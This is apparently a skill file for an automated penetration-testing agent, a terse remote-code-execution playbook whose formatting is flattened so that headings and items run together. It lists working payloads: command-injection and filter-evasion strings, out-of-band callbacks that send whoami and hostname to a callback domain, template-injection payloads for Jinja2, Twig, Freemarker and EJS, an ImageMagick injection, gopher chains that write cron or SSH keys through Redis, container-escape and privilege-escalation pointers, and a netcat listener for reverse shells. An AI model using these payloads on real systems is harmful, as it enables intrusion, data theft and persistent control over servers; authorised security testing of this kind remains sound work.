strix/skills/vulnerabilities/rce.md
Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
Command Execution
Dynamic Evaluation
Deserialization
Media Pipelines
SSRF Chains
Container Escalation
Unix
;sleep 1, `sleep 1`, || sleep 1Windows
& timeout /t 2 &, ping -n 2 127.0.0.1Start-Sleep -s 2Use interactsh-client -v in the sandbox to mint a unique callback
domain (*.oast.fun); substitute it for attacker.tld below. Each
invocation prints inbound DNS/HTTP hits to stdout in real time.
DNS
nslookup $(whoami).xyz.oast.fun
HTTP
curl https://xyz.oast.fun/$(hostname)
Direct
;id;uname -a;whoami
Encoded
;(id;hostname)|base64
Delimiters and Operators
; | || & && cmd $(cmd) $() ${IFS} newline/tab& | || ^Argument Injection
--output=/tmp/x, --config=)$PATH, ${HOME}, command substitution%TEMP%, !VAR!, PowerShell $(...)Path and Builtin Confusion
/usr/bin/id) vs relying on PATHprintf, getent) when id is filteredsh -c or cmd /c wrappers to reach the shellEvasion
${IFS}, $'\t', <w'h'o'a'm'i, w"h"o"a"m"ia=i;b=d; $a$becho payload | base64 -d | shIEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
Minimal Probes
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
Java
.NET
PHP
unserialize() and PHAR metadataPython/Ruby
yaml.load/unsafe_load, MarshalExpression Languages
ImageMagick/GraphicsMagick
push graphic-context
fill 'url(https://x.tld/a"|id>/tmp/o")'
pop graphic-context
Ghostscript
%pipe%id file operatorsExifTool
LaTeX
\write18/--shell-escape, \input piping; pandoc filtersffmpeg
FastCGI
gopher:// to php-fpm (build FPM records to invoke system/exec)Redis
gopher:// write cron/authorized_keys or webrootAdmin Interfaces
Docker
/.dockerenv, /proc/1/cgroupcapsh --print/proc/sys/kernel/core_pattern or mount host with --privilegedKubernetes
/var/run/secrets/kubernetes.io/serviceaccountEncoding Differentials
Binary Alternatives
Privilege Escalation
sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)Persistence
Lateral Movement
ncat -lvnp 4444 (in the sandbox; ncat is the
netcat variant that ships in the image). Pair with a one-shot shell
payload only when OAST + selective reads are insufficient — never
drop a persistent shell when a single targeted command will prove it.RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.